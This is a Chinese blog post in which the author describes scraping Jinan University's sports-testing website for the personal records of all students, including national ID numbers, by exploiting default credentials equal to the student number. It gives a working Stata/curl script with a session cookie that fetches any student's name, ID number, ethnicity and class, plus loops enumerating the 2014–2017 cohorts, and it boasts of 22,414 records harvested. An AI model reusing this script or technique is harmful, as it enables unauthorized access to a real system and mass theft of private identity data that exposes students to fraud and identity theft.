从暨大体育获取全体同学的身份信息

从暨大体育获取全体同学的身份信息

今天爬到了全校所有同学的基本信息,包括身份证号。然后我在看数据的时候无意中发现的开头为341225的一些人,毫无疑问啊,这个就是我们县的!而且应该就是我们学校的!于是心声感概选择了这个海报的图片做封面。
今天爬了暨大体育的网站:网址是这个:https://tzcs.jnu.edu.cn/ 。网站的登录用户名和密码都是学号(不用尝试我的了,我刚刚改了密码)。
这个网站可能最近被我丁文亮请求过于频繁崩溃掉。

爬取暨大某个学号对于的学生身份信息

暨大体育上有全校所有同学的体测信息,但是我打开一看发现最感兴趣的还是学生的基本信息。所以就先试着爬了基本信息,基本信息里有姓名、学号、身份证号、性别、民族、专业等信息。赤裸裸出卖信息啊!虽然爬这个不道德,但是自己也不做违法的事情,就赶紧把学校所有的同学的信息都收集一下,下面是我写的Stata程序,是一个外部命令,可以查询某个学号的基本信息然后把基本信息存储在返回值中:

jdidquerry.ado

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
*! 根据提供的学号爬取该学号主人的基本身份信息
*! 程振兴 2018年6月14日
cap prog drop jdidquery
prog def jdidquery, rclass
version 13.0
syntax anything
cap preserve
clear all
qui{
!curl 'https://tzcs.jnu.edu.cn/student/studentInfo.jsp?userName=`anything'&passwd=`anything'' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: https://tzcs.jnu.edu.cn/servlet/adminservlet' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: JSESSIONID=FF7B49D8294B8C001478F2446518C0F4' --compressed -o temp.txt
infix strL v 1-2000 using temp.txt, clear
keep if index(v, " ")
replace v = ustrregexs(1) if ustrregexm(v, "&nbsp;(.*)<")
replace v = ustrregexs(1) if ustrregexm(v, "&nbsp;(.*)&nbsp;")
replace v = subinstr(v, "&nbsp;", "", . )
replace v = subinstr(v, `"<td bgcolor="#FFFFFF">"', "", . )
replace v = subinstr(v, `" "', "", . )
drop if v == ""
ret local 学号 = v[2]
ret local 姓名 = v[4]
ret local 性别 = v[6]
ret local 身份证号 = v[8]
ret local 民族 = v[10]
ret local 年级 = v[12]
ret local 行政班级 = v[14]
}
di in green "学号:" in red "`=v[2]'"
di in green "姓名:" in red "`=v[4]'"
di in green "性别:" in red "`=v[6]'"
di in green "身份证号:" in red "`=v[8]'"
di in green "民族:" in red "`=v[10]'"
di in green "年级:" in red "`=v[12]'"
di in green "行政班级:" in red "`=v[14]'"
clear
end

从上面的程序中可以看出,这个爬取是非常简单的,保存到返回值中是为了在主程序中调用。那么主程序是什么呢?就是下面这个:爬暨大2014-2017级的所有人的基本身份信息:

爬取全校同学的身份信息

2014级所有同学的身份信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
clear
set obs 10000
gen 学号 = ""
gen 姓名 = ""
gen 性别 = ""
gen 身份证号 = ""
gen 民族 = ""
gen 年级 = ""
gen 行政班级 = ""
save xxb3, replace
local j = 1
forval i = 2014050001/2014059999{
cap jdidquery `i'
use xxb3, clear
cap qui{
replace 学号 = r(学号) if _n == `j'
replace 姓名 = r(姓名) if _n == `j'
replace 民族 = r(民族) if _n == `j'
replace 身份证号 = r(身份证号) if _n == `j'
replace 年级 = r(年级) if _n == `j'
replace 行政班级 = r(行政班级) if _n == `j'
replace 性别 = r(性别) if _n == `j'
}
di "第`j'个成功"
local j = `j' + 1
qui save xxb3, replace
}
use xxb3, clear
destring, replace
format 学号 %12.0f
drop if 学号 == .
save 暨南大学2014级同学信息, replace

2015级所有同学的身份信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
clear
set obs 10000
gen 学号 = ""
gen 姓名 = ""
gen 性别 = ""
gen 身份证号 = ""
gen 民族 = ""
gen 年级 = ""
gen 行政班级 = ""
save xxb, replace
local j = 1
forval i = 2015050001/2015059999{
cap jdidquery `i'
use xxb, clear
cap qui{
replace 学号 = r(学号) if _n == `j'
replace 姓名 = r(姓名) if _n == `j'
replace 民族 = r(民族) if _n == `j'
replace 身份证号 = r(身份证号) if _n == `j'
replace 年级 = r(年级) if _n == `j'
replace 行政班级 = r(行政班级) if _n == `j'
}
di "第`j'个成功"
local j = `j' + 1
qui save xxb, replace
}
use xxb, clear
drop if 学号 == ""
destring, replace
format 学号 %12.0f
* 身份证号的倒数第二位表示性别,奇数表示男性,偶数表示女性
* 510124199701130025
gen sex = substr(身份证号,17,1)
destring, replace
replace 性别 = 1 if mod(sex, 2) == 1
replace 性别 = 0 if 性别 == .
label var 性别 "1是男性,0是女性"
drop sex
save 暨南大学2015级同学信息, replace

2016级所有同学的身份信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
clear
set obs 10000
gen 学号 = ""
gen 姓名 = ""
gen 性别 = ""
gen 身份证号 = ""
gen 民族 = ""
gen 年级 = ""
gen 行政班级 = ""
save xxb1, replace
local j = 1
forval i = 2016050001/2016059999{
cap jdidquery `i'
use xxb1, clear
cap qui{
replace 学号 = r(学号) if _n == `j'
replace 姓名 = r(姓名) if _n == `j'
replace 民族 = r(民族) if _n == `j'
replace 身份证号 = r(身份证号) if _n == `j'
replace 年级 = r(年级) if _n == `j'
replace 行政班级 = r(行政班级) if _n == `j'
replace 性别 = r(性别) if _n == `j'
}
di "第`j'个成功"
local j = `j' + 1
qui save xxb1, replace
}
use xxb1, clear
destring, replace
format 学号 %12.0f
drop if 学号 == .
save 暨南大学2016级同学信息, replace

2017级所有同学的身份信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
clear
set obs 10000
gen 学号 = ""
gen 姓名 = ""
gen 性别 = ""
gen 身份证号 = ""
gen 民族 = ""
gen 年级 = ""
gen 行政班级 = ""
save xxb2, replace
local j = 1
forval i = 2017050001/2017059999{
cap jdidquery `i'
use xxb2, clear
cap qui{
replace 学号 = r(学号) if _n == `j'
replace 姓名 = r(姓名) if _n == `j'
replace 民族 = r(民族) if _n == `j'
replace 身份证号 = r(身份证号) if _n == `j'
replace 年级 = r(年级) if _n == `j'
replace 行政班级 = r(行政班级) if _n == `j'
replace 性别 = r(性别) if _n == `j'
}
di "第`j'个成功"
local j = `j' + 1
qui save xxb2, replace
}
use xxb2, clear
destring, replace
format 学号 %12.0f
drop if 学号 == .
save 暨南大学2017级同学信息, replace

因为学校的服务器状况比较糟糕,建议大家试运行一下就好了。如果需要相关数据可以留言向我索要,不过放心我是不会给你的。

最后我把所有的数据纵向合并了一下,又删除了一些错落的数据,一共得到了22414个同学的信息。很快这写身份信息就会体现出其用处!

# Stata

评论

程振兴

程振兴 @czxa.top
截止今天,我已经在本博客上写了604.4k个字了!

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×